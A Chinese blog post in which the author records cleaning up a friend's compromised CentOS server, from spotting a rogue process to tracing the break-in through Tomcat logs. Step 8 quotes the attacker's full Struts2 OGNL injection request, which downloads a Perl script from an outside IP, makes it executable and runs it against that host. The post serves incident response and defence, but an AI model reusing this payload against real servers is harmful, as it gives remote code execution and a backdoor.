服务器被黑了,记录处理经过

   朋友的服务器被黑,帮忙处理,也是第一次处理,特此记录过程。

   服务器系统为阿里云的centos 6.2 64 安全加固版,架构为nginx前端代理,后面是tomcat。

  1.  首先登陆系统,利用htop查看运行的进程,有没有可疑进程,发现如下进程:

     服务器被黑了,记录处理经过

  2.  用ls和stats 查看一下 /etc/java-2013/java-2013的文件的有关事件的属性。

  3. 再利用ps -eo  comm,etime 查看 java-2013的进程的运行时间,估计创建时间。

  4. 利用find寻找和java-2013进程开启时间的差不多的文件改动,查看进程的属主文件为root

    f

ind / -type f -newer /etc/java-2013/java-2013 -gid 0 -perm +100
       find / -type f -cmin -运行的进程的时间估计  -gid 0 -perm +100

      属主为root的创建和更新时间在这一个时间段的且具有执行权限的文件。

  5.  查到在/tmp/下有一个java.pl比较可疑。

  6.  曾经用MD5sum算法对全部文件系统做一次指纹,再次运行找出可以的文件。对比找出有改动的文件,以前曾做过一些防护:

      1) 关闭不用的应用的程序;

      2) 开放了仅需开通的对外端口;80端口,是nginx提供网站的访问服务;51234端口,是ssh的登录的端口。

      3) 升级nginx,修补nginx的漏洞。

      4) 修改了ssh的默认的登录的端口,原来为22,现改为51234,禁止密码登录和root用户登录。

   7.  经查看没有看到查到其他的文件被改动。虽已找后门程序,现在找骇客是怎么入侵电脑呢,系统的基本防护还是做的不错。而网站用的是struts旧版本开发的程序,我怀疑是利用的前段时间爆出的struts漏洞。

  8. 读tomcat的访问日志,在日志中发现如下请求:

    http://www.xxxxx.com//a/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'wget','-O','/tmp/java.pl','http://60.174.234.107:1974/pack.pl'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'chmod','u+x','/tmp/java.pl'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'perl','/tmp/java.pl','60.174.234.107','6666'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}


9.  找到入侵的方法,再利用安全宝和360的网站安全检测网站的漏洞。(还真不少)

10 .  教训应该关注相关技术的爆出的漏洞,及时修复网站。(被人这么简单的就入侵系统,够丢人的)。

       防控主要的,不要等到事情发生了再去补,那就来不及。

还有什么好的方法检测系统被黑,请多多指教。


你可能感兴趣的:(服务器被黑了,记录处理经过)